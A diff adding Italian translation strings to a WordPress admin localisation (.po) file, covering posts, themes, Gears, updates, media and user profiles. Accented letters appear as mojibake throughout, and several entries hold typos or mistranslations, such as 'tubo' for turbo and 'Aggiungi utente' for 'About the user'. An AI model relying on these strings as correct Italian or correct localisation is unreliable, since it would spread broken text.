+"Una volta promosso, ricaricare questa pagina e si potrÃ  scrivere un articolo. :)"
+
+#: wp-admin/post.php:118
+msgid "You attempted to edit a post that doesn&#8217;t exist. Perhaps it was deleted?"
+msgstr "Si sta provando a modificare un articolo che non esiste. Forse Ãš stato cancellato?"
+
+#: wp-admin/post.php:138
+#, php-format
+msgid "Warning: %s is currently editing this post"
+msgstr "Attenzione: %s sta attualmente modificando questo articolo"
+
+#: wp-admin/post.php:147
+msgid "Edit Post"
+msgstr "Modifica articolo"
+
+#: wp-admin/press-this.php:118
+msgid "Embed Code"
+msgstr "Incorpora codice"
+
+#: wp-admin/press-this.php:121
+msgid "Insert Video"
+msgstr "Inserisci video"
+
+#: wp-admin/press-this.php:143
+msgid "Click to insert."
+msgstr "Fare clic per inserire."
+
+#: wp-admin/press-this.php:145
+#: wp-admin/press-this.php:175
+#: wp-includes/js/tinymce/wp-mce-help.php:232
+msgid "Insert Image"
+msgstr "Inserisci immagine"
+
+#: wp-admin/press-this.php:244
+msgid "Unable to retrieve images or no images on page."
+msgstr "Impossibile recuperare le immagini oppure nessuna immagine sulla pagina."
+
+#: wp-admin/press-this.php:298
+msgid "click images to select"
+msgstr "fare clic sulle immagini per selezionarle"
+
+#: wp-admin/press-this.php:298
+msgid "Add from URL"
+msgstr "Aggiungi da URL"
+
+#: wp-admin/press-this.php:298
+msgid "Refresh"
+msgstr "Aggiorna"
+
+#: wp-admin/press-this.php:405
+msgid "Loading..."
+msgstr "Caricamento..."
+
+#: wp-admin/press-this.php:495
+#: wp-admin/press-this.php:499
+#: wp-includes/taxonomy.php:19
+msgid "Post Tags"
+msgstr "Tag articoli"
+
+#: wp-admin/press-this.php:508
+msgid "Choose from the most used tags in Post Tags"
+msgstr "Selezionare fra i tag maggiormente utilizzati negli articoli."
+
+#: wp-admin/press-this.php:516
+msgid "Close Window"
+msgstr "Chiudi finestra"
+
+#: wp-admin/press-this.php:531
+#: wp-admin/press-this.php:532
+msgid "Insert an Image"
+msgstr "Inserisci una immagine"
+
+#: wp-admin/press-this.php:536
+msgid "Embed a Video"
+msgstr "Incorpora video"
+
+#: wp-admin/press-this.php:542
+#: wp-includes/general-template.php:1661
+#: wp-includes/general-template.php:1666
+msgid "HTML"
+msgstr "HTML"
+
+#: wp-admin/press-this.php:543
+#: wp-includes/general-template.php:1662
+#: wp-includes/general-template.php:1667
+msgid "Visual"
+msgstr "Visuale"
+
+#: wp-admin/press-this.php:552
+msgid "via "
+msgstr "via"
+
+#: wp-admin/revision.php:96
+#, php-format
+msgid "Compare Revisions of &#8220;%1$s&#8221;"
+msgstr "Compara le revisioni di &#8220;%1$s&#8221;"
+
+#: wp-admin/revision.php:118
+#, php-format
+msgid "Post Revision for &#8220;%1$s&#8221; created on %2$s"
+msgstr "Revisione articolo per &#8220;%1$s&#8221; creato il %2$s"
+
+#: wp-admin/revision.php:158
+#, php-format
+msgid "Older: %s"
+msgstr "Vecchio: %s"
+
+#: wp-admin/revision.php:159
+#, php-format
+msgid "Newer: %s"
+msgstr "Nuovo: %s"
+
+#: wp-admin/revision.php:192
+msgid "These revisions are identical."
+msgstr "Queste revisioni sono identiche."
+
+#: wp-admin/sidebar.php:98
+msgid "Post published."
+msgstr "Articolo pubblicato."
+
+#: wp-admin/sidebar.php:103
+#: wp-content/plugins/akismet/akismet.php:1063
+#: wp-includes/default-widgets.php:67
+#: wp-includes/default-widgets.php:197
+#: wp-includes/default-widgets.php:263
+#: wp-includes/default-widgets.php:318
+#: wp-includes/default-widgets.php:358
+#: wp-includes/default-widgets.php:404
+#: wp-includes/default-widgets.php:490
+#: wp-includes/default-widgets.php:586
+#: wp-includes/default-widgets.php:670
+#: wp-includes/default-widgets.php:987
+msgid "Title:"
+msgstr "Titolo:"
+
+#: wp-admin/sidebar.php:108
+msgid "Post:"
+msgstr "Articolo:"
+
+#: wp-admin/sidebar.php:113
+#: wp-admin/themes.php:144
+#: wp-admin/themes.php:238
+msgid "Tags:"
+msgstr "Tag:"
+
+#: wp-admin/sidebar.php:115
+#: wp-includes/script-loader.php:273
+msgid "Separate tags with commas"
+msgstr "Separa i tag con delle virgole"
+
+#: wp-admin/sidebar.php:119
+msgid "Save as Draft"
+msgstr "Salva come bozza"
+
+#: wp-admin/theme-editor.php:12
+msgid "Edit Themes"
+msgstr "Modifica temi"
+
+#: wp-admin/theme-editor.php:28
+msgid "The requested theme does not exist."
+msgstr "Il tema richiesto non esiste"
+
+#: wp-admin/theme-editor.php:77
+msgid "You do not have sufficient permissions to edit themes for this blog."
+msgstr "Non si dispone di permessi sufficienti per modificare i temi di questo blog."
+
+#: wp-admin/theme-editor.php:123
+msgid "Select theme to edit:"
+msgstr "Selezionare il tema da modificare:"
+
+#: wp-admin/theme-editor.php:142
+msgid "Theme Files"
+msgstr "File del tema"
+
+#: wp-admin/theme-editor.php:147
+msgid "Templates"
+msgstr "Template"
+
+#. translators: Theme stylesheets in theme editor
+#: wp-admin/theme-editor.php:174
+msgctxt "Theme stylesheets in theme editor"
+msgid "Styles"
+msgstr "Stili"
+
+#: wp-admin/theme-editor.php:224
+msgid "Oops, no such file exists! Double check the name and try again, merci."
+msgstr "Oops, il file non esiste! Verifica il nome e riprova, grazie."
+
+#: wp-admin/theme-install.php:13
+msgid "You do not have sufficient permissions to install themes on this blog."
+msgstr "Non si dispone di permessi sufficienti per installare temi su questo blog."
+
+#: wp-admin/themes.php:31
+msgid "Themes give your WordPress style. Once a theme is installed, you may preview it, activate it or deactivate it here."
+msgstr "I temi forniscono il proprio stile a WordPress. Dopo aver installato un tema, Ãš possibile vederlo in anteprima, attivarlo o disattivarlo da questa pagina."
+
+#: wp-admin/themes.php:33
+#, php-format
+msgid "You can find additional themes for your site by using the new <a href=\"%1$s\">Theme Browser/Installer</a> functionality or by browsing the <a href=\"http://wordpress.org/extend/themes/\">WordPress Theme Directory</a> directly and installing manually.  To install a theme <em>manually</em>, <a href=\"%2$s\">upload its ZIP archive with the new uploader</a> or copy its folder via FTP into your <code>wp-content/themes</code> directory."
+msgstr "&Egrave; possibile trovare ulteriori temi per il proprio sito utilizzando la nuova funzionalitÃ  di <a href=\"%1$s\">Ricerca/Installazione temi</a> oppure cercando direttamente nella <a href=\"http://wordpress.org/extend/themes/\">WordPress Theme Directory</a> ed installandoli manualmente. Per installare <em>manualmente</em> <a href=\"%2$s\">caricare il suo archivio ZIP con il nuovo uploader</a> o copiare la sua cartella usando FTP nella directory <code>wp-content/themes</code>."
+
+#: wp-admin/themes.php:34
+msgid "Once a theme is uploaded, you should see it on this page."
+msgstr "Una volta che un tema Ãš stato caricato, si dovrebbe vederlo in questa pagina. "
+
+#: wp-admin/themes.php:46
+msgid "The active theme is broken.  Reverting to the default theme."
+msgstr "Il tema attualmente attivo Ãš corrotto. Riattivato il tema standard."
+
+#: wp-admin/themes.php:49
+#, php-format
+msgid "New theme activated. This theme supports widgets, please visit the <a href=\"%s\">widgets settings page</a> to configure them."
+msgstr "Nuovo tema attivato. Questo tema supporta i widget, si veda la <a href=\"%s\">pagina di impostazione dei widget</a> per poterli configurare."
+
+#: wp-admin/themes.php:51
+#, php-format
+msgid "New theme activated. <a href=\"%s\">Visit site</a>"
+msgstr "Nuovo tema attivato. <a href=\"%s\" target=\"_blank\">Visita sito</a>"
+
+#: wp-admin/themes.php:54
+msgid "Theme deleted."
+msgstr "Tema cancellato."
+
+#: wp-admin/themes.php:112
+msgid "Upgrading this theme will lose any customizations you have made.  'Cancel' to stop, 'OK' to upgrade."
+msgstr "L'aggiornamento di questo tema farÃ¬ si che si perdano tutte le eventuali personalizzazioni fatte.  'Cancel' per annullare, 'OK' per aggiornare."
+
+#: wp-admin/themes.php:115
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">View version %3$s Details</a>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">Visualizza i dettagli sulla versione %3$s</a>"
+
+#: wp-admin/themes.php:117
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">View version %3$s Details</a> <em>automatic upgrade unavailable for this theme</em>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">Visualizza i dettagli sulla versione %3$s</a> <em>aggiornamento automatico non disponibile per questo tema</em>"
+
+#: wp-admin/themes.php:119
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">View version %3$s Details</a> or <a href=\"%4$s\" %5$s >upgrade automatically</a>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s.<a href=\"%2$s\" class=\"thickbox\" title=\"%1$s\">Visualizza i dettagli sulla versione %3$s</a> oppure <a href=\"%4$s\" %5$s >aggiorna automaticamente</a>."
+
+#: wp-admin/themes.php:129
+msgid "Current Theme"
+msgstr "Tema corrente"
+
+#: wp-admin/themes.php:132
+msgid "Current theme preview"
+msgstr "Gestione tema corrente"
+
+#. translators: 1: theme title, 2: theme version, 3: theme author
+#: wp-admin/themes.php:136
+#: wp-admin/themes.php:228
+#, php-format
+msgid "%1$s %2$s by %3$s"
+msgstr "%1$s %2$s di %3$s"
+
+#. translators: 1: theme title, 2:  template dir, 3: stylesheet_dir, 4: theme title, 5: parent_theme
+#: wp-admin/themes.php:139
+#: wp-admin/themes.php:233
+#, php-format
+msgid "The template files are located in <code>%2$s</code>.  The stylesheet files are located in <code>%3$s</code>.  <strong>%4$s</strong> uses templates from <strong>%5$s</strong>.  Changes made to the templates will affect both themes."
+msgstr "I file di template sono posizionati in <code>%2$s</code>. I file dei fogli di stile sono posizionati in <code>%3$s</code>. <strong>%4$s</strong> utilizza dei template di <strong>%5$s</strong>.  Le modifiche a questi template si applicheranno a entrambi i temi."
+
+#: wp-admin/themes.php:141
+#: wp-admin/themes.php:235
+#, php-format
+msgid "All of this theme&#8217;s files are located in <code>%2$s</code>."
+msgstr "Tutti i file di questo tema sono posizionati in <code>%2$s</code>."
+
+#: wp-admin/themes.php:151
+msgid "Available Themes"
+msgstr "Temi disponibili"
+
+#: wp-admin/themes.php:207
+#, php-format
+msgid "Preview of &#8220;%s&#8221;"
+msgstr "Anteprima di &#8220;%s&#8221;"
+
+#: wp-admin/themes.php:216
+#, php-format
+msgid ""
+"You are about to delete this theme '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questo tema '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/themes.php:248
+msgid "You only have one theme installed at the moment so there is nothing to show you here.  Maybe you should download some more to try out."
+msgstr "Al momento Ãš installato un solo tema quindi non vi Ãš nulla da mostrare in questa pagina. Forse si dovrebbe scaricarne altri per provare."
+
+#: wp-admin/themes.php:267
+msgid "Broken Themes"
+msgstr "Tema corrotto"
+
+#: wp-admin/themes.php:268
+msgid "The following themes are installed but incomplete.  Themes must have a stylesheet and a template."
+msgstr "I seguenti temi risultano installati ma sono incompleti. I temi devono avere un foglio di stile e un template."
+
+#: wp-admin/tools.php:27
+#: wp-admin/tools.php:36
+#: wp-admin/tools.php:44
+#: wp-admin/tools.php:60
+msgid "Turbo:"
+msgstr "Turbo:"
+
+#: wp-admin/tools.php:27
+msgid "Speed up WordPress"
+msgstr "Velocizza WordPress"
+
+#: wp-admin/tools.php:28
+msgid "WordPress now has support for Gears, which adds new features to your web browser."
+msgstr "WordPress ora supporta Gears che aggiunge nuove funzionalitÃ  al proprio browser web."
+
+#: wp-admin/tools.php:29
+msgid "More information..."
+msgstr "Altre informazioni..."
+
+#: wp-admin/tools.php:30
+msgid "After you install and enable Gears, most of WordPress&#8217; images, scripts, and CSS files will be stored locally on your computer. This speeds up page load time."
+msgstr "Dopo aver installato ed abilitato Gears la maggior parte delle immagini, script e file CSS di WordPress verranno memorizzati localmente su questo computer, CiÃ² velocizzerÃ  il tempo di caricamento delle pagine."
+
+#: wp-admin/tools.php:31
+msgid "Don&#8217;t install on a public or shared computer."
+msgstr "Non installare su un computer pubblico o condiviso."
+
+#: wp-admin/tools.php:36
+#: wp-admin/tools.php:44
+#: wp-admin/tools.php:60
+msgid "Gears Status"
+msgstr "Stato Gears"
+
+#: wp-admin/tools.php:37
+msgid "Gears is installed on this computer, but is not enabled for use with WordPress."
+msgstr "Gears Ãš installato su questo computer ma non Ãš abilitato per l&#8217;utilizzo con WordPress."
+
+#: wp-admin/tools.php:38
+msgid "To enable it click the button below."
+msgstr "Per abilitarlo fare clic sul pulsante sottostante."
+
+#: wp-admin/tools.php:39
+#: wp-admin/tools.php:72
+msgid "Note: Do not enable Gears if this is a public or shared computer!"
+msgstr "Nota: non abilitare Gears se questo Ãš un computer pubblico o condiviso."
+
+#: wp-admin/tools.php:40
+msgid "Enable Gears"
+msgstr "Abilita Gears"
+
+#: wp-admin/tools.php:48
+msgid "Gears is installed and enabled on this computer. You can disable it from the Under the Hood tab in Chrome&#8217;s Options menu."
+msgstr "Gears Ãš installato e funzionante su questo computer. &Egrave; possibile disabilitarlo tramite il menu Roba da smaettoni del meno Opzioni di Chrome."
+
+#: wp-admin/tools.php:50
+msgid "Gears is installed and enabled on this computer. You can disable it from the Safari menu."
+msgstr "Gears Ãš installato e funzionante su questo computer. &Egrave; possibile disabilitarlo tramite il menu di Safari."
+
+#: wp-admin/tools.php:52
+msgid "Gears is installed and enabled on this computer. You can disable it from your browser&#8217;s Tools menu."
+msgstr "Gears Ãš installato e funzionante su questo computer. &Egrave; possibile disabilitarlo tramite il menu Strumenti del proprio browser."
+
+#: wp-admin/tools.php:55
+msgid "If there are any errors try disabling Gears, reloading the page, and re-enabling Gears."
+msgstr "Nel caso si verifichi un qualsiasi errore provare a disabilitare Gears, ricaricare la pagina e riattivare Gears."
+
+#: wp-admin/tools.php:56
+msgid "Local storage status:"
+msgstr "Stato memorizzazione locale:"
+
+#: wp-admin/tools.php:56
+msgid "Updating files:"
+msgstr "Aggiornamento dei file:"
+
+#: wp-admin/tools.php:61
+msgid "Your browser&#8217;s settings do not permit this website to use Google Gears."
+msgstr "Le impostazioni del proprio borwser non permettono a questo sito di utilizzare Google Gears."
+
+#: wp-admin/tools.php:65
+msgid "To allow it, change the Gears settings in your browser&#8217;s Options, Under the Hood menu and reload this page."
+msgstr "Per abilitarlo, cambiare le impostazioni di Gears dal menu Opzioni del proprio browser nella sezione Roba da smanettoni e ricaricare questa pagina."
+
+#: wp-admin/tools.php:67
+msgid "To allow it, change the Gears settings in the Safari menu and reload this page."
+msgstr "Per abilitarlo, modificare le impostazioni di Gears dal menu di Safari e ricaricare questa pagina."
+
+#: wp-admin/tools.php:69
+msgid "To allow it, change the Gears settings in your browser&#8217;s Tools menu and reload this page."
+msgstr "Per abilitarlo, cambiare le impostazioni di Gears nel menu Strumenti del proprio browser e ricaricare questa pagina."
+
+#: wp-admin/tools.php:76
+msgid "Turbo is not available for your browser."
+msgstr "La modalitÃ  tubo non Ãš disponibile per questo browser."
+
+#: wp-admin/tools.php:83
+msgid "Press This is a bookmarklet: a little app that runs in your browser and lets you grab bits of the web."
+msgstr "\"Pubblicalo\" Ãš un bookmarklet: una piccola applicazione che funziona col proprio browser e permette di catturare pezzetti del web."
+
+#: wp-admin/tools.php:85
+msgid "Use Press This to clip text, images and videos from any web page. Then edit and add more straight from Press This before you save or publish it in a post on your blog."
+msgstr "Utilizzare \"Pubblicalo\" per ritagliare testi, immagini e video da qualsiasi pagina web. Quindi modificare ed aggiungere altro materiale con \"Pubblicalo\" prima di salvarlo o pubblicarlo in un articolo del proprio blog."
+
+#: wp-admin/tools.php:86
+msgid "Drag-and-drop the following link to your bookmarks bar or right click it and add it to your favorites for a posting shortcut."
+msgstr "Trascinare-e-rilasciare il seguente link sulla propria barra dei segnalibri o fare un clic destro per aggiungerlo ai propri preferiti per avere una scorciatoia per la pubblicazione di articoli."
+
+#: wp-admin/update-core.php:13
+#: wp-admin/update.php:21
+#: wp-admin/update.php:40
+msgid "You do not have sufficient permissions to update plugins for this blog."
+msgstr "Non si dispone di permessi sufficienti per aggiornare i plugin di questo blog."
+
+#: wp-admin/update-core.php:22
+msgid "Upgrade Automatically"
+msgstr "Aggiorna automaticamente"
+
+#: wp-admin/update-core.php:25
+msgid "You are using a development version of WordPress.  You can upgrade to the latest nightly build automatically or download the nightly build and install it manually:"
+msgstr "Si sta utilizzando una versione di sviluppo di WordPress. &Egrave; possibile aggiornarla automaticamente all'ultima \"nightly build\" oppure scaricare la \"nightly build\" ed installarla manualmente:"
+
+#: wp-admin/update-core.php:26
+msgid "Download nightly build"
+msgstr "Scaricamento \"nightly build\""
+
+#: wp-admin/update-core.php:29
+#, php-format
+msgid "You have the latest version of WordPress. You do not need to upgrade. However, if you want to re-install version %s, you can do so automatically or download the package and re-install manually:"
+msgstr "Si sta utilizzando l'ultima versione di WordPress. Non vi Ãš necessitÃ  di alcun aggiornamento. Se si desidera reinstallare la versione %s Ãš possibile farlo in maniera automatica o scaricare il pacchetto e reinstallarlo manualmente:"
+
+#: wp-admin/update-core.php:30
+msgid "Re-install Automatically"
+msgstr "Re-installa automaticamente"
+
+#: wp-admin/update-core.php:33
+#, php-format
+msgid "You can upgrade to version %s automatically or download the package and install it manually:"
+msgstr "&Egrave; possibile aggiornare automaticamente alla versione %s o scaricare il pacchetto ed installarlo manualmente:"
+
+#: wp-admin/update-core.php:35
+#, php-format
+msgid "Download %s"
+msgstr "Scaricamento %s"
+
+#: wp-admin/update-core.php:50
+msgid "Hide this update"
+msgstr "Nascondere questo aggiornamento"
+
+#: wp-admin/update-core.php:52
+msgid "Bring back this update"
+msgstr "Ripota questo aggiornamento"
+
+#: wp-admin/update-core.php:55
+msgid "This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation."
+msgstr "Questa versione localizzata contiene sia la traduzione che altre correzioni alla localizzazione. &Egrave; possibile saltare l'aggiornamento se si desidera proseguire con la traduzione corrente."
+
+#: wp-admin/update-core.php:57
+#, php-format
+msgid "You are about to install WordPress %s <strong>in English.</strong> There is a chance this upgrade will break your translation. You may prefer to wait for the localized version to be released."
+msgstr "Si sta per installare WordPress %s <strong>in Inglese.</strong> Vi Ãš la possibilitÃ  che questo aggiornamento porti ad una traduzione incompleta. Forse sarebbe opportuno attendere il rilascio della versione localizzata."
+
+#: wp-admin/update-core.php:67
+#: wp-admin/update-core.php:79
+msgid "Show hidden updates"
+msgstr "Mostra aggiornamenti nascosti"
+
+#: wp-admin/update-core.php:68
+msgid "Hide hidden updates"
+msgstr "Nascondi aggiornamenti nascosti."
+
+#: wp-admin/update-core.php:102
+#: wp-admin/update-core.php:165
+#: wp-admin/update-core.php:213
+#: wp-admin/update-core.php:220
+msgid "Upgrade WordPress"
+msgstr "Aggiorna WordPress"
+
+#: wp-admin/update-core.php:106
+msgid "You have the latest version of WordPress. You do not need to upgrade"
+msgstr "Si dispone dell'ultima versione di WordPress. Non Ãš necessario alcun aggiornamento."
+
+#: wp-admin/update-core.php:110
+msgid "<strong>Important:</strong> before upgrading, please <a href=\"http://codex.wordpress.org/WordPress_Backups\">backup your database and files</a>."
+msgstr "<strong>Importante:</strong> prima di aggiornare, <a href=\"http://codex.wordpress.org/WordPress_Backups\">effettuare il backup del database e dei file</a>."
+
+#: wp-admin/update-core.php:114
+msgid "There is a new version of WordPress available for upgrade"
+msgstr "&Egrave; disponibile per l'aggiornamento una nuova versione di WordPress"
+
+#: wp-admin/update-core.php:182
+msgid "Installation Failed"
+msgstr "Installazione fallita"
+
+#: wp-admin/update-core.php:184
+msgid "WordPress upgraded successfully"
+msgstr "Aggiornamento di WordPress completato con successo"
+
+#: wp-admin/update-links.php:19
+msgid "Feature disabled."
+msgstr "FunzionalitÃ  disabilitata"
+
+#: wp-admin/update-links.php:24
+msgid "No links"
+msgstr "Nessun link"
+
+#: wp-admin/update-links.php:42
+#: wp-admin/update-links.php:45
+msgid "Request Failed."
+msgstr "Richiesta fallita."
+
+#: wp-admin/update.php:49
+msgid "Plugin Reactivation"
+msgstr "Riattivazione plugin"
+
+#: wp-admin/update.php:51
+msgid "Plugin reactivated successfully."
+msgstr "Plugin riattivato con successo."
+
+#: wp-admin/update.php:54
+msgid "Plugin failed to reactivate due to a fatal error."
+msgstr "Il plugin non Ãš stato riattivato a causa di un errore fatale."
+
+#: wp-admin/update.php:63
+#: wp-admin/update.php:91
+msgid "You do not have sufficient permissions to install plugins for this blog."
+msgstr "Non si dispone di permessi sufficienti per installare plugin su questo blog."
+
+#: wp-admin/update.php:78
+#, php-format
+msgid "Installing Plugin: %s"
+msgstr "Installazione plugin: %s"
+
+#: wp-admin/update.php:97
+msgid "Upload Plugin"
+msgstr "Carica plugin"
+
+#: wp-admin/update.php:102
+#, php-format
+msgid "Installing Plugin from uploaded file: %s"
+msgstr "Installazione plugin dal file caricato: %s"
+
+#: wp-admin/update.php:115
+msgid "You do not have sufficient permissions to update themes for this blog."
+msgstr "Non si dispone di permessi sufficienti per aggiornare i temi di questo blog."
+
+#: wp-admin/update.php:137
+#: wp-admin/update.php:167
+msgid "You do not have sufficient permissions to install themes for this blog."
+msgstr "Non si dispone di permessi sufficienti per installare temi per questo blog."
+
+#: wp-admin/update.php:154
+#, php-format
+msgid "Installing theme: %s"
+msgstr "Installazione tema: %s"
+
+#: wp-admin/update.php:173
+msgid "Upload Theme"
+msgstr "Carica tema"
+
+#: wp-admin/update.php:180
+#, php-format
+msgid "Installing Theme from uploaded file: %s"
+msgstr "Installazione tema dal file caricato: %s"
+
+#: wp-admin/upgrade.php:44
+msgid "WordPress &rsaquo; Upgrade"
+msgstr "WordPress &rsaquo; Aggiornamento"
+
+#: wp-admin/upgrade.php:52
+msgid "No Upgrade Required"
+msgstr "Non Ãš necessario alcun aggiornamento"
+
+#: wp-admin/upgrade.php:53
+msgid "Your WordPress database is already up-to-date!"
+msgstr "Il tuo database di Wordpress Ãš giÃ  aggiornato!"
+
+#: wp-admin/upgrade.php:63
+msgid "Database Upgrade Required"
+msgstr "E' richiesto l'aggiornamento del database"
+
+#: wp-admin/upgrade.php:64
+msgid "WordPress has been updated! Before we send you on your way, we have to upgrade your database to the newest version."
+msgstr "WordPress Ãš stato aggiornato! Prima di proseguire, dobbiamo aggiornare il database alla nuova versione."
+
+#: wp-admin/upgrade.php:65
+msgid "The upgrade process may take a little while, so please be patient."
+msgstr "L'aggiornamento richiederÃ  un po' di tempo, occorre avere pazienza."
+
+#: wp-admin/upgrade.php:66
+msgid "Upgrade WordPress Database"
+msgstr "Aggiorna database WordPress"
+
+#: wp-admin/upgrade.php:77
+msgid "Upgrade Complete"
+msgstr "Aggiornamento completato"
+
+#: wp-admin/upgrade.php:78
+msgid "Your WordPress database has been successfully upgraded!"
+msgstr "Il tuo database di Wordpress Ãš stato aggiornato con successo!"
+
+#: wp-admin/upgrade.php:83
+#, php-format
+msgid "%s queries"
+msgstr "%s query"
+
+#: wp-admin/upgrade.php:85
+#, php-format
+msgid "%s seconds"
+msgstr "%s secondi"
+
+#: wp-admin/upload.php:21
+msgid "You are not allowed to scan for lost attachments."
+msgstr "Non si dispone del permesso per ricercare eventuali allegati mancanti."
+
+#: wp-admin/upload.php:123
+#, php-format
+msgid "Image (%s)"
+msgid_plural "Images (%s)"
+msgstr[0] "Immagine (%s)"
+msgstr[1] "Immagini (%s)"
+
+#: wp-admin/upload.php:124
+#, php-format
+msgid "Audio (%s)"
+msgid_plural "Audio (%s)"
+msgstr[0] "Audio (%s)"
+msgstr[1] "Audio (%s)"
+
+#: wp-admin/upload.php:125
+#, php-format
+msgid "Video (%s)"
+msgid_plural "Video (%s)"
+msgstr[0] "Video (%s)"
+msgstr[1] "Video (%s)"
+
+#: wp-admin/upload.php:149
+#, php-format
+msgid "Reattached %d attachment"
+msgid_plural "Reattached %d attachments"
+msgstr[0] "Allegato %d ricollegato"
+msgstr[1] "Allegati %d ricollegati"
+
+#: wp-admin/upload.php:154
+msgid "Media deleted."
+msgstr "Media cancellato."
+
+#: wp-admin/upload.php:155
+msgid "Error saving media attachment."
+msgstr "Errore nel salvataggio dell'allegato."
+
+#: wp-admin/upload.php:190
+#, php-format
+msgctxt "uploaded files"
+msgid "All <span class=\"count\">(%s)</span>"
+msgid_plural "All <span class=\"count\">(%s)</span>"
+msgstr[0] "Totale <span class=\"count\">(%s)</span>"
+msgstr[1] "Totale <span class=\"count\">(%s)</span>"
+
+#: wp-admin/upload.php:203
+msgid "Unattached"
+msgstr "Non allegati"
+
+#: wp-admin/upload.php:247
+#: wp-admin/upload.php:403
+msgid "Attach to a post"
+msgstr "Allega ad un articolo"
+
+#: wp-admin/upload.php:288
+msgid "Scan for lost attachments"
+msgstr "Scansione per allegati mancanti"
+
+#. translators: column name in media
+#: wp-admin/upload.php:304
+#: wp-admin/upload.php:314
+msgctxt "media column name"
+msgid "Media"
+msgstr "Media"
+
+#. translators: column name in media
+#: wp-admin/upload.php:305
+#: wp-admin/upload.php:315
+msgctxt "media column name"
+msgid "Author"
+msgstr "Autore"
+
+#. translators: column name in media
+#: wp-admin/upload.php:306
+#: wp-admin/upload.php:316
+msgctxt "media column name"
+msgid "Date Added"
+msgstr "Aggiunta data"
+
+#: wp-admin/upload.php:347
+msgid "Attach"
+msgstr "Allega"
+
+#: wp-admin/user-edit.php:18
+msgid "Edit User"
+msgstr "Modifica utente"
+
+#: wp-admin/user-edit.php:36
+#: wp-admin/user-edit.php:39
+msgid "Invalid user ID."
+msgstr "ID utente non valido."
+
+#: wp-admin/user-edit.php:57
+msgid "Use https"
+msgstr "Utilizzare https"
+
+#: wp-admin/user-edit.php:58
+msgid "Always use https when visiting the admin"
+msgstr "Utilizzare sempre https quando si visita il pannello di amministrazione"
+
+#: wp-admin/user-edit.php:77
+#: wp-admin/user-edit.php:97
+msgid "You do not have permission to edit this user."
+msgstr "Non si dispone del permesso di modificare questo utente."
+
+#: wp-admin/user-edit.php:104
+msgid "User updated."
+msgstr "Utente aggiornato."
+
+#: wp-admin/user-edit.php:106
+msgid "&larr; Back to Authors and Users"
+msgstr "&larr; Torna ad Autori ed utenti"
+
+#: wp-admin/user-edit.php:135
+msgid "Personal Options"
+msgstr "Impostazioni personali"
+
+#: wp-admin/user-edit.php:140
+msgid "Visual Editor"
+msgstr "Editor visuale"
+
+#: wp-admin/user-edit.php:141
+msgid "Disable the visual editor when writing"
+msgstr "Disabilitare l&#8217;editor avanzato durante la scrittura"
+
+#: wp-admin/user-edit.php:146
+#: wp-admin/user-edit.php:147
+msgid "Admin Color Scheme"
+msgstr "Schema colore pannello di amministrazione"
+
+#: wp-admin/user-edit.php:169
+msgid "Keyboard Shortcuts"
+msgstr "Scorciatoie da tastiera"
+
+#: wp-admin/user-edit.php:170
+msgid "Enable keyboard shortcuts for comment moderation."
+msgstr "Abilitare le scorciatoie da tastiera per la moderazione dei commenti."
+
+#: wp-admin/user-edit.php:170
+msgid "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\">More information</a>"
+msgstr "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\">Altre informazioni</a>"
+
+#: wp-admin/user-edit.php:188
+msgid "Your username cannot be changed."
+msgstr "Il nome utente non puÃ² essere modificato"
+
+#: wp-admin/user-edit.php:192
+msgid "Role:"
+msgstr "Ruolo:"
+
+#: wp-admin/user-edit.php:205
+#: wp-admin/user-edit.php:207
+msgid "&mdash; No role for this blog &mdash;"
+msgstr "&mdash; Nessun ruolo per questo blog &mdash;"
+
+#: wp-admin/user-edit.php:213
+msgid "First name"
+msgstr "Nome"
+
+#: wp-admin/user-edit.php:218
+msgid "Last name"
+msgstr "Cognome"
+
+#: wp-admin/user-edit.php:223
+msgid "Nickname"
+msgstr "Nickname"
+
+#: wp-admin/user-edit.php:223
+#: wp-admin/user-edit.php:261
+#: wp-admin/user-new.php:96
+#: wp-admin/user-new.php:109
+#: wp-content/themes/classic/comments.php:57
+#: wp-content/themes/classic/comments.php:60
+msgid "(required)"
+msgstr "(obbligatorio)"
+
+#: wp-admin/user-edit.php:228
+msgid "Display name publicly as"
+msgstr "Nome pubblico da visualizzare"
+
+#: wp-admin/user-edit.php:257
+msgid "Contact Info"
+msgstr "Informazioni contatti"
+
+#: wp-admin/user-edit.php:266
+#: wp-admin/user-new.php:113
+#: wp-content/themes/classic/comments.php:63
+msgid "Website"
+msgstr "Sito web"
+
+#: wp-admin/user-edit.php:271
+msgid "AIM"
+msgstr "AIM"
+
+#: wp-admin/user-edit.php:276
+msgid "Yahoo IM"
+msgstr "Yahoo IM"
+
+#: wp-admin/user-edit.php:281
+msgid "Jabber / Google Talk"
+msgstr "Jabber / Google Talk"
+
+#: wp-admin/user-edit.php:286
+msgid "About Yourself"
+msgstr "Informazioni autore"
+
+#: wp-admin/user-edit.php:286
+msgid "About the user"
+msgstr "Aggiungi utente"
+
+#: wp-admin/user-edit.php:290
+msgid "Biographical Info"
+msgstr "Informazione biografiche"
+
+#: wp-admin/user-edit.php:292
+msgid "Share a little biographical information to fill out your profile. This may be shown publicly."
+msgstr "Condividere nel proprio profilo delle brevi informazioni che possono essere anche mostrate ai visitatori."
+
+#: wp-admin/user-edit.php:300
+msgid "New Password"
+msgstr "Nuova password"
+
+#: wp-admin/user-edit.php:301
+msgid "If you would like to change the password type a new one. Otherwise leave this blank."
+msgstr "Se si desidera modificare la password digitarene una nuova. Altrimenti lasciare il campo vuoto."
+
+#: wp-admin/user-edit.php:302
+msgid "Type your new password again."
+msgstr "Digitare nuovamente la password."
+
+#: wp-admin/user-edit.php:303
+#: wp-admin/user-new.php:124
+#: wp-includes/script-loader.php:231
+msgid "Strength indicator"
